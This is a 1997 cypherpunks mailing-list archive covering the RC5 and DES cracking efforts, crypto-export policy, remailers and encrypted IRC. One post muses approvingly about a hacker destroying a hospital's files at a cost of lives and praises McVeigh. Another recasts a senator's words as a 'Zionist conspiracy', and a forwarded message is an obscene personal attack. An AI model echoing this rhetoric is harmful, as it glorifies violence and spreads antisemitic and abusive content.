> hours at a time as I am using a dial up slip link, and it insists on
> taking 20 mins worth.

here is the best that I found on that subject in the rc5 list archive..

   rc5.exe -l -a outland.hway.net -a2 rc5proxy.distributed.net -s -k 20
   jonass@lysator.liu.se
     
     
   -l is logging (writes to a file)
   -a primary server to use
   -a2 secondary server
   -s shows status
   -k number of blocks to buffer local. The larger number the less you
   have to be online
     
          
   This does not hide it, but that is what I like.
   You start it (beeing online), wait until it got all blocks and then
   go offline. Later you can go online any time. It will report any
   blocks finished and get new ones to fill up the 20 slots buffer.
   Unless you use the -o option or the -z option the client will try to
   connect every 2 minutes after finishing the first block so be careful
   if you have any kind of dial-on-demand.

and from strings you get
Usage: %s [-m] [-n level] [-c count] [-h hours]
       [-a <address>] [-p <port>] <identity>

doesn't say that much... but you can try the -k option to see if it
works with the linux client.  I don't need that as I am on-line anyway.

> Also, no source code.

there have been some discussions about that on the list, they seem to
fair bogus datas sent to the servers. Kind of makes sense, but they
could at least release the core source without the communication
protocol...

                    F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 00:20:23 +0800
To: sameer@c2.net
Subject: cypherpunks PR fluff-ups (was Re: Garbled in transmission.)
Message-ID: <199706211608.RAA00479@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Sameer Parekh <sameer@c2.net> writes:
> ET <emergent@eval-apply.com> writes:
> > I can't remember it word for word, but it went like this:
> > "If you're going to decrypt financial transactions you'd better
> > be prepared to get 1000 computers and spend 3 months on
> > the project."
> 
> 	Not at all surprising, considering the wording of Rocke's
> press release. 

I agree.  He didn't even mention the possibility of hardware cracks,
nor estimates of times to break DES with hardware.

10,000 people burn more CPU than ever managed by a distributed effort
in history, and the PR is poorly managed.  You need to invest some of
that effort in PR.

Why no mention of the fact that the crack cost $10,000 (the prize money).

And what happened to the prize money?  (Who won it?  Did the guy
finding the key?  Or did something boring like giving it to GNU or EFF
happen to it?)

Why no source code?


Some general comments about the crack:

Many of the people involved in running the cracks seemed more
concerned with their own glory, or with getting their name in lights
to enhance their consulting rates, or the technical interest of it, or
control freakish tendencies over the management of it, arguing over
how best to design the software to conceal the key from the finder of
the key! etc, than in making a political statement about the weakness
of DES.

Seemed like few of them were cypherpunks at heart.

This reflected itself I think in the complete hostility to giving the
prize money to the winner, the fact that several of the cracks
wouldn't reveal the source code, nor their techniques.

The earlier cracks the cypherpunks as a group were involved in
(netscape breaks) were much more open (source code was released, and
benefited from release by others contributing speed-ups).  There was
none of this attitude which I detected amongst some of the DES groups
of excluding others from a small groups organisational effort, because
that group wanted the lime-light.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 01:21:09 +0800
To: cypherpunks@cyberpass.net
Subject: RC5 crack
Message-ID: <199706211713.SAA00744@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Been looking at the RC5 crack project.

http://rc5.distributed.net/ has loads of flashy graphics, stats,
etc. but no instructions!

I've got the linux command line client, and I want to take off 16
hours at a time as I am using a dial up slip link, and it insists on
taking 20 mins worth.

I read the FAQ, nada.

Help.

Also, no source code.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 02:34:49 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
In-Reply-To: <19970621094256.27370@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970621184919.1055E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Because half a million dollars is better than no dollars? Because in
> real life the vast majority of choices are not binary? Because in real
> life you have to live with someone as intransigent as you?

Intransigence is no excuse for being wrong, nor does it make it any less 
a crime to censor or pronounce imperatives.

> However, others do not see the situation as bleakly as you do.

Rubbish, there can be no place for compromise where issues as clear cut 
as censorship or GAK are concerned.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 22 Jun 1997 10:13:18 +0800
To: cypherpunks@toad.com
Subject: Re: cypherpunks PR fluff-ups
Message-ID: <199706220201.TAA23425@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> Some general comments about the crack:
> 
> Many of the people involved in running the cracks seemed more
> concerned with their own glory, or with getting their name in lights
> to enhance their consulting rates, or the technical interest of it, or
> control freakish tendencies over the management of it, arguing over
> how best to design the software to conceal the key from the finder of
> the key! etc, than in making a political statement about the weakness
> of DES.

  There seemed to be a multitude of political interests working
to different ends in a number of the crack efforts, according to
a lady who was involved with a couple of them rather intimately.
  Her impression was that there were people involved who were
purposely giving out patently bad advice and working toward
removing some of the more competent players from the scene.

> Seemed like few of them were cypherpunks at heart.
> 
> This reflected itself I think in the complete hostility to giving the
> prize money to the winner, the fact that several of the cracks
> wouldn't reveal the source code, nor their techniques.

  I know more than a few people who began to join in one or
another of the cracks and then said to hell with it because
of the cliquish nature of the efforts.
  Peter Trei's software ran best on my machines but when I
contacted a couple of the groups as to how to find what keys
had already been searched I was pretty much told to fuck off
like it was some great secret only for the in-crowd.
  Also, there was a fair amount of sabotage going on in the
background. The New Media effort in particular was plagued 
by bogus versions of their software being distributed and
efforts to interfere with various sites running their
software. Even their own version of the software was bogus
at the point I first downloaded it. When I emailed them to
point it out, they denied it, but then they stopped giving
out their software for a couple weeks while they rewrote it,
and then refused to make their source code available after
that.

  All in all, my impression was there was too much ego and
intrigue going on to make the distributed cracking efforts
terribly efficient and functional at many points along the
way. I would give those running the distributed cracks a
few points for effort, but not many points for integrity.
  I still have a lingering feeling that the whole affair is
being choreographed according to some unknown script, but
I'm suspicious by nature.

TruthCracker






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Byer <root@bushing.plastic.crosslink.net>
Date: Sun, 22 Jun 1997 07:40:02 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: RC5 crack
In-Reply-To: <199706211713.SAA00744@server.test.net>
Message-ID: <199706212317.TAA05605@bushing.plastic.crosslink.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Content-Type: text/plain; charset=us-ascii


>
>
>Been looking at the RC5 crack project.
>
>http://rc5.distributed.net/ has loads of flashy graphics, stats,
>etc. but no instructions!
>
>I've got the linux command line client, and I want to take off 16
>hours at a time as I am using a dial up slip link, and it insists on
>taking 20 mins worth.
>
>I read the FAQ, nada.
>
>Help.

You want to download the "personal proxy", perproxy.  It should be available 
on the same ftp site as the client.  The proxy will buffer the keys and the 
answers for you... you just run the proxy on your machine, point it at 
rc5proxy.distributed.net, and you point your client at localhost.

- --
Ben Byer    root@bushing.plastic.crosslink.net    I am not a bushing



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBM6xg+LD5/Q37XXHFAQHe1gL/eOl3FTU2w4yXm09/DvvhQcmUgTpz/Uvs
JU5JrZZj5kgSkHNAZCxqkeN2ErOvpE9QGqxTJudX0uYvIWv6LqAVgMlVb9nxatRc
y6FnO5c3ET+3bh4qQOA10Am5J9Lcjksv
=l9e6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Sun, 22 Jun 1997 08:21:42 +0800
To: sameer <sameer@c2.net>
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <199706220010.UAA25001@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> "sameer" == sameer  <sameer@c2.net> writes:

sameer> 	Not at all surprising, considering the wording of
sameer> Rocke's press release.

Surely you refer to the lack of a commercial spin in Rocke's press
release.  Or maybe we should have also sung the praises of C2Net's
"uncompromised Internet security software"?

The crack of the DES Challenge Key is important.  Presenting an
accurate description of what happened is just as important.  There is
no need to cause widespread panic, yet.  This is a shot across the
proverbial bow.

Trying to present it to the public at large is a difficult
proposition, and not something that can easily be covered in the sorts
of soundbyte-driven news reports seen on shows like Headline News.  I
know, I've been trying to talk about the meaning of DESCHALL to
business managers and Regular People for more than three months.

What we should be doing is encouraging discussion of the meaning and
significance of what we've done, the sort of thing that will lead to
the kinds of in-depth reports that will accurately tell Joe Citizen
exactly what all of this means.

- -matt


>> I caught the Headline News mention of the DES crack and it
>> unfortunately put the wrong spin on things.
>> 
>> I can't remember it word for word, but it went like this: "If
>> you're going to decrypt financial transactions you'd better be
>> prepared to get 1000 computers and spend 3 months on the project."
>> 
>> The report was delivered with a hint of a smile, as if to suggest
>> that the time and resources might have been better spent.
>> 
>> *Sigh*
>> 
>> 


sameer> -- Sameer Parekh Voice: 510-986-8770 President FAX:
sameer> 510-986-8777 C2Net http://www.c2.net/ sameer@c2.net

- -- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Pull AGIS.NET's plug!  DES has fallen! http://www.frii.com/~rcv/deschall.htm


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Have you encrypted your data today?

iQEVAwUBM6xtTn6R34u/f3zNAQEq3Qf+IjX54s2tLK8IqUzVlk9TYtTsgyvK0cZG
hlNHKhqS/Ps7+P3bqiAajl8aSYot1JEZP0IWVXMFScJ3YJMWjUQqLCWJxzHG/bM9
iVSeZ7C4jJu82Hc3Ojogel4rO0tQTkcmdImNZhKzHUjEO0hGcftSO6AkhKbgpyIz
FNEG0+L0hHvSc58fFhjeIM9Z8Lo9ft6ibXYQfCMgO8Nq9ITG9ADvWXIskAYZKLyG
wrjxjaQaUtAMpHpC452JvkGFQE5x5HF6n2p1ifh7C7G3JUlB9Aci/WJtkz9vZEf3
bXLLjw68p3RrstZ48ZT6Zq62GU72Sua97URz7Xyz1be2ZkyMPySRWw==
=ro2d
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 22 Jun 1997 11:49:00 +0800
To: cypherpunks@Algebra.COM
Subject: McCain Talks Crypto
Message-ID: <3.0.2.32.19970621204242.04307430@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



This guy needs to connect to a clue server soon before it is too late...


http://www.wired.com/news/politics/story/4588.html           

           McCain Talks Crypto
           by Todd Lappin 

           6:04pm  20.Jun.97.PDT Just got off the phone with Senator
           John McCain. 

           It has been a big week for the Republican from
           Arizona. On Monday, he and Senator Bob Kerrey
           (D-Nebraska) dropped a bomb on the encryption
           debate. They introduced S909, the Secure Public
           Networks Act, a bill that would write into law most of
           the Clinton administration's encryption policy -
           leviathan key recovery system, continued restraints
           on exporting strong encryption, the whole bit. Then,
           leveraging his chairmanship of the Senate
           Commerce Committee, he pushed the bill onto a
           legislative fast track. Despite the fact that his bill cuts
           the legs from under Pro-CODE - a bill by Montana
           Republican Conrad Burns that would scrap the
           export controls - McCain said he's eager to negotiate
           on the issues. 

           Here are the highlights of our 5-minute conversation
           - during which a certain two-word term was repeated
           again and again. Let's see if you can spot it. 

           On the rationale behind S909:
           "I've always said that national security is a primary
           concern - and based on my own experience [nearly
           six years as a Vietnam POW], I've had a lot of time to
           consider how important that really is." 

           On the software industry:
           "Frankly, I'm somewhat surprised that the software
           industry would be so willing to downplay the dangers
           of child porn.... This stuff is out there, and we can't
           allow child pornographers to hide by encrypting that
           material." 

           "... I'm astonished that any industry would consider
           their priorities to be so important that they override
           national security concerns." 

           On the rival Pro-CODE bill:
           "I'm all for Pro-CODE - except for its impact on
           national security. 

           On the future:
           "I promise you, now that we've adopted this
           legislation, we will sit down and work this out with all
           the parties involved. As I've said before, from a
           practical standpoint, we can't override a presidential
           veto. With this bill, we've established that the
           president of the United States has authority over
           national security." 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 22 Jun 1997 10:27:05 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <199706220217.WAA08245@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
> On Fri, Jun 20, 1997 at 04:50:16PM -0700, Declan McCullagh wrote:
> > Statements similar to yours have been made so many times, scolding
> > "extremists" for "not being realistic." I seem to remember something about
> > extremism in defense of liberty being no vice, and moderation no virtue.
> > Either way, if you compromise, you don't get what you want. That is
> > absolutely obvious. So why compromise?
> 
> Because half a million dollars is better than no dollars? Because in
> real life the vast majority of choices are not binary? 

  "Give me half my freedom, or hurt me bad."
                      - Negotiator Crispin
 
> The real question is: What is the most *effective* way for achieving
> your ends.

  "Give me compromise, or I will give you death."
                           - Prosecutor Crispin


  Wasn't someone named Crispin one of the original signers of 
the "Declaration of Wishing We Weren't Oppressed"?

Half-TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 22 Jun 1997 10:30:33 +0800
To: cypherpunks@toad.com
Subject: Career non-criminal
Message-ID: <199706220222.WAA09189@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



>From News of the Weird:

* The New York Times reported in December that Odell Sheppard,
a "middle-aged handyman," had just passed his ninth consecutive
year of incarceration in Cook County Jail in Chicago, even though
he has not been charged with a crime.  He was sent to jail for
failing to reveal the whereabouts of his daughter Deborah, who was
the subject of a child-custody dispute between Sheppard and
Deborah's mother, but Sheppard maintains he has no idea where
the girl is.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "\"RC5 Crackhead\"" <rc5@dev.null>
Date: Sun, 22 Jun 1997 12:49:59 +0800
To: cmcurtin@research.megasoft.com
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <33ACABDA.1FC4@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



C Matthew Curtin wrote:

> The crack of the DES Challenge Key is important.  Presenting an
> accurate description of what happened is just as important.  There is
> no need to cause widespread panic, yet.  This is a shot across the
> proverbial bow.

  Screw presenting an accurate description.
  The test mode of the software indicates my machine will check about
80,000 keys/sec. In actuality, since I am running other programs as
I use it, it checks about 5,000 keys/sec.
  Using my machine as an example of the average efficiency of all
the 1,000 machines, one could thus estimate that the crack could have 
succeeded in about 90 days using one machine.

  So why not put out a press report making this claim? Headline News
would probably snap it up!
  The problem is that most people working to fight censorship and
oppression have this thing about wearing white hats and honesty and
all of that crap. Meanwhile, those working to censor and oppress
others to enhance their own power and finances are content to twist
the facts to fit their desires. And since they do have money and
power, their voice gets heard quite easily by the major media.

  Thus the people in Waco died because of a "mistake" and the 
people in OKC died because of a "monster."
  Thus the Netscape problem was a "bug" that needs fixing instead
of a wake-up call that if the government is allowed to require
programmers to build surveillance capabilities into our software,
then unknown others are going to take advantage of those built-in
capabilities. And thus those who uncover the compromising of our
privacy will be called "blackmailers" and "terrorists" by the
very people who intentionally wrote their software to support
the Clipper chip, or GAK, or the Next Step in fascism.
  Thus the DES crack was a monumental effort by a plethora of
computer gurus using a massive amount of computers, instead of
a mostly disorganized effort by a variety of people doing it as
an exercise in their spare time, and using the scraps from the
CPU tables of those participating.


  "Everybody knows that the boat is sinking.
   Everybody knows that the captain lied."
                  - Lou Reed

  In the end, the media gets away with feeding us lies because
that is what we want to hear.
  Everyone who wants to believe that they might wake up in the
morning with 800 law enforcement agents surrounding them because
of their religious beliefs, raise your hand.
  Everyone who wants to believe that if they blindly go along 
with all manner of injustice and justify it as "the way the
system works" that they need to fear personal reprisal, raise 
your hand.
  Everyone who wants to believe that every time you use your
computer over a phone line others can access your files, raise
your hand.
  Everyone who wants to believe that the government is perfectly
willing to compromise the security and privacy of your financial
transactions in order to stifle crypto development that won't
allow them fascist control over all information, raise your 
hand.

  "Everybody knows that the war is over.
   Everybody knows that the good guys lost."
                - Lou Reed

  I truly believe this, but it does not mean I won't continue
to work on the RC5 crack and continue to take small, halting
steps against the wind of middle-class fascism sweeping the 
country. I will continue to do so because I also believe that
the end of any war is the beginning of the next revolution.
  When Timothy McCypherpunk hacks a government hospital because
of weak security and because of weak encryption is able to
destroy their files, then I am sure that lives will be lost.
Even children's lives, perhaps.
  I am equally certain that he/she will be called a "blackmailer"
and a "terrorist" and a "monster." Why? Because the word
"revolutionary" is too scary.

  We can only have so many Waco's, just like we could only have
so many Kent State's, before people begin backing the "terrorists"
instead of the government.
  Louis Riel, a Canadian Metis (French-Indian) was hung as a
terroist murderer, and now there are statues honoring him
and government buildings bearing his name.
  We can hang Timothy McVeigh and Jim Bell and the Netscape
"blackmailer" but we can't guarantee that there won't be
a statue of them in the town square fifty years from now.

  When the information counter-revolution comes, remember that 
I started writing about it before Tim May began posting to
the hallowed cypherpunk archives. (a cheap shot, but a *good*
one, eh?)
http://bureau42.base.org/public/xenix
http://bureau42.base.org/public/webworld

RC5CrackHead





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 22 Jun 1997 16:15:30 +0800
To: nelson@media.mit.edu (Nelson Minar)
Subject: Re: Party on IRC
In-Reply-To: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970622005702.03095848@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:31 PM 6/21/97 -0400, Nelson Minar wrote:
>I don't know any more what mailing lists I should use. Coderpunks?
>Cryptography? Cypherpunks? DCSB?

I'd posted my mail to cypherpunks and cryptography,
so I'm forwarding yours there.

>It already exists. IRC includes the "DCC" protocol - direct client to
>client communication. It's mostly for exchange of files (read:
>pornography), but you can also use it for chat or, even better,
>encrypted chat. It's like a /msg except that the servers are never
>involved, it's directly between two clients.
>
>The DCC stuff isn't very standardized, so I don't know how
>interoperable it all is. I believe that IRCII, the Unix client, has
>something in it along the lines of DES with secret keys.
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 22 Jun 1997 13:25:22 +0800
To: cypherpunks@toad.com
Subject: Re: McCain Talks Crypto
Message-ID: <199706220513.BAA13427@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen wrote:
>            Here are the highlights of our 5-minute conversation
>            - during which a certain two-word term was repeated
>            again and again. Let's see if you can spot it.
> 
>            On the rationale behind S909:
>            "I've always said that ZIONIST CONSPIRACY is a primary
>            concern 
> 
>            On the software industry:
>            "Frankly, I'm somewhat surprised that the software
>            industry would be so willing to downplay the dangers
>            of ZIONIST CONSPIRACY
> 
>            On the rival Pro-CODE bill:
>            "I'm all for Pro-CODE - except for its impact on
>            ZIONIST CONSPIRACY.
> 
>            On the future:
>            "With this bill, we've established that the
>            president of the United States has authority over
>            ZIONIST CONSPIRACY."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 22 Jun 1997 16:36:17 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: A site idea
In-Reply-To: <Pine.SOL.3.91.970621085711.11806A-100000@hardy.ocs.mq.edu.au>
Message-ID: <3.0.2.32.19970622012113.030acc68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The original posting was right on target for the cypherpunks list.


>> I was hoping to collect information on setting up anon remailers of 
>> various types and compiling links and articles for the site. Can anybody 
>> point me in the right direction ? 

>Raph Levine <sp? There are two, one levine and one levein and I always 
>confuse the two) is the remailer god, check out his pages for some 
>information.

Levien ... Raph Levien.  

The list of operating status of current remailers
is at http://www.cs.berkeley.edu/~raph/remailer-list.html .
The Mixmaster remailer list is at
http://www.obscura.com/~loki/remailer/mixmaster-faq.html.
Some more good places to look are the cypherpunks archives at
http://infinity.nus.sg/cypherpunks/	(raw mailing list traffic ...)
and http://www.oberlin.edu/~brchkind/cyphernomicon/
 ( Tim May's Cyphernomicon (a bit old, so there's been more remailer
work done since then, but it's very good about a lot of subjects.)

There are probably some other good remailer archives.

Also, as with many things, AltaVista can tell you lots about remailers.
Not in any particular order, but lots :-)

I haven't updated my pages on www.idiom.com/~wcs/remailer in a year or so,
but it was a good rant for the times; I ran a remailer for a while before
it got SPAMMED to death.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 22 Jun 1997 16:36:18 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: [FLAMING ON THE LIST]
In-Reply-To: <Pine.SOL.3.91.970621085711.11806A-100000@hardy.ocs.mq.edu.au>
Message-ID: <3.0.2.32.19970622012406.03096104@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:17 PM 6/21/97 +0000, Paul Bradley wrote:
>Cypherpunks is totally uncensored and there are no rules for posting, you 
>won`t get flamed for posting off topic, unless you are censorous, for a 
>good short idea of what cypherpunks is all about read Tim's "a cypherpunk 
>manifesto" or his cyphernomicon.

While it _is_ totally uncensored again, it's the Net, you can be
flamed for anything, so you have to decide what level of annoyance
to ignore and what level to make you give up.  

In the case of Cypherpunks, there are a few consistent flamers who will 
not only flame you for everything you post, but will also reply to your post
with a flame against Gilmore and Sameer :-)  Flaming back doesn't make them
go away (one of them has even started roboposting flames to the list
in response to his other flames), but Eudora or procmail filters make 
them vanish almost entirely.....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 22 Jun 1997 17:42:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Garbled in transmission
Message-ID: <199706220936.CAA00423@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



>[...]
>  "Everybody knows that the boat is sinking.
>   Everybody knows that the captain lied."
>                  - Lou Reed
>[...]
> "Everybody knows that the war is over.
>  Everybody knows that the good guys lost."
>                - Lou Reed
>[...]

Umm, no.  Leonard Cohen actually.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven L Baur <steve@miranova.com>
Date: Sun, 22 Jun 1997 18:56:43 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <Pine.GSO.3.95.970621130236.21966B-100000@ece>
Message-ID: <m2en9uncbo.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson <randerso@ece.eng.wayne.edu> writes:

> On Sat, 21 Jun 1997, Roy M. Silvernail wrote:

>> Please elaborate, as I can't see _any_ problem with eliminating 90% of
>> the sitting legislature.

> You've completely missed my point.  This would be an on-going problem.
> Congress can only function with some idea of compromise in it.

Then Congress should be eliminated.  There is no excuse for the CDA
rider and my (now ex-)representative who voted for that bill was
voted into office on a campaign of ending politics-as-usual sorts of
things like that.

Bah!  Good riddance to bad rubbish to the whole lot of them.  Tim May
is right.  I don't wish compromise, I only wish to be left alone.  Why
is that so hard for people in Washington DC to understand?

Right now I have two senators: Dianne "No problem giving government
contract money illegally to my husband" Swinestein and Barbara "No
money in my checking account? I guess I'll just have to write another
one" Boxer and congressional representative Walter "I cannot think of
any government program which should be eliminated" Capps.

The American government is broken.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Sun, 22 Jun 1997 18:45:18 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Party on IRC
In-Reply-To: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
Message-ID: <Pine.BSI.3.95.970622053011.19903A-100000@alpha>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 21 Jun 1997, Bill Stewart wrote:

> >Robert Hettinga <rah@shipwright.com> writes:
> >>Is there an encrypted IRC available?
> >>If not, shouldn't there be?
> >>Is such a thing even possible?
> 
> You'd have to think about what you wanted it to do,
> but it should be quite doable.  IRC is normally for sharing
> conversations between an amorphous, changing bunch of people,
> which isn't really a standard thing to do with crypto.  

Actually a simple form of encryption is available. There is a plug-in to
eggdrop called wire. I have used it in my eggdrop bot on #remailop and it
has worked well. Basically you log into the bot with a /dcc chat and then
execute .wire <key> where <key> is a mutually agreed upon key. Then to
send encrypted chats to others that have connected with the same key, each
line that you type needs to be preceded with a ";". I'll fire it up if you
want to look at it. Go to any EFnet server, check in and then go to
channel #remailop. Say hello to rops and then check in. I believe it uses
the crypt(3) function for encryption.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sun, 22 Jun 1997 13:42:00 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706161604.LAA19766@mailhub.amaranth.com>
Message-ID: <33b4b98b.93491988@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 16 Jun 97 11:00:57 -0500, you wrote:

>Has Lynx been ported to the Mac? You might want to just write your own. If
>your not intrested in all the N$ crap (frames, animated Gifs, cookies,
>...) it is really quite easy code to write a few socket calls and parsing
>of some text. I wrote one over a weekend that handles 99% of my web
>browsing needs.

  http://lynx.browser.org says there is a Mac version in Beta test
right now.

  I'm currently using Opera v2.12 which uses alot less memory than
Netscape, but I don't know how 'secure' it is. I'm download the win32
port of Linx right now to give it a try.

  Brian


----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 22 Jun 1997 21:36:26 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Diffie-Hellman
In-Reply-To: <199706220954.LAA11884@basement.replay.com>
Message-ID: <Pine.A41.3.95.970622072104.87290A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 22 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> May Tim C. Mayflower's forgeries get stuck up his ass so 
> he'll have to shit through his filthy mouth for the rest of 
> its miserable life.
> 
>           .oooO           Oooo.
>           (   )   _   _   (   )
>            \ (   / ) ( \   ) /
>         ----\_)-/ (---) \-(_/---- Tim C. Mayflower
>                (   ) (   )
>                oooO   Oooo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
